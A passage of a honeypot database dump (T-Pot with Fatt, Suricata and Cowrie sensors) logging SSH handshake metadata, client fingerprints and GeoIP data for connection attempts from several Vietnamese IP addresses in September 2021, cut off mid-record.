24206	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:36.905022+03	2021-09-20 14:15:08.4845+03	{"_id": "TgbkAnwBvYTbRNuEvBJY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49856, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.905022", "@timestamp": "2021-09-20T11:08:36.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24207	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:37.375237+03	2021-09-20 14:15:08.4855+03	{"_id": "ZQbkAnwBvYTbRNuEvxJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2073395121652137, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36838, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.375237Z", "@timestamp": "2021-09-20T11:08:37.375Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24208	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:37.980664+03	2021-09-20 14:15:08.487501+03	{"_id": "ZAbkAnwBvYTbRNuEvxJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1297225811854461, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53492, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.980664Z", "@timestamp": "2021-09-20T11:08:37.980Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24209	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:37.431635+03	2021-09-20 14:15:08.489504+03	{"_id": "aQbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59102, "timestamp": "2021-09-20T11:08:37.431635", "@timestamp": "2021-09-20T11:08:37.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24210	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:33.448901+03	2021-09-20 14:15:08.490502+03	{"_id": "8wbkAnwBvYTbRNuEsBGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40748, "timestamp": "2021-09-20T11:08:33.448901", "@timestamp": "2021-09-20T11:08:33.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24211	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:34.783343+03	2021-09-20 14:15:08.492511+03	{"_id": "EwbkAnwBvYTbRNuEtBKD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43096, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.783343", "@timestamp": "2021-09-20T11:08:34.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24217	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.37177+03	2021-09-20 14:15:08.499502+03	{"_id": "JQbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "911f8bf77278", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:34.371770Z", "@timestamp": "2021-09-20T11:08:34.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24212	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:34.918741+03	2021-09-20 14:15:08.493513+03	{"_id": "FAbkAnwBvYTbRNuEtBKD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48162, "timestamp": "2021-09-20T11:08:34.918741", "@timestamp": "2021-09-20T11:08:34.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24213	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.369519+03	2021-09-20 14:15:08.49447+03	{"_id": "FgbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43096 (192.168.176.2:22) [session: 911f8bf77278]", "session": "911f8bf77278", "@version": "1", "protocol": "ssh", "src_port": 43096, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.369519Z", "@timestamp": "2021-09-20T11:08:34.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24214	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.916629+03	2021-09-20 14:15:08.4955+03	{"_id": "FwbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48162 (192.168.176.2:22) [session: 67d82fe64cf4]", "session": "67d82fe64cf4", "@version": "1", "protocol": "ssh", "src_port": 48162, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.916629Z", "@timestamp": "2021-09-20T11:08:34.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24215	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:34.995948+03	2021-09-20 14:15:08.496501+03	{"_id": "GAbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56992 (192.168.176.2:22) [session: 8ca4a3849b69]", "session": "8ca4a3849b69", "@version": "1", "protocol": "ssh", "src_port": 56992, "dest_port": 22, "timestamp": "2021-09-20T11:08:34.995948Z", "@timestamp": "2021-09-20T11:08:34.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24216	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:34.358136+03	2021-09-20 14:15:08.4985+03	{"_id": "JAbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "572775a3daac", "@version": "1", "timestamp": "2021-09-20T11:08:34.358136Z", "@timestamp": "2021-09-20T11:08:34.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 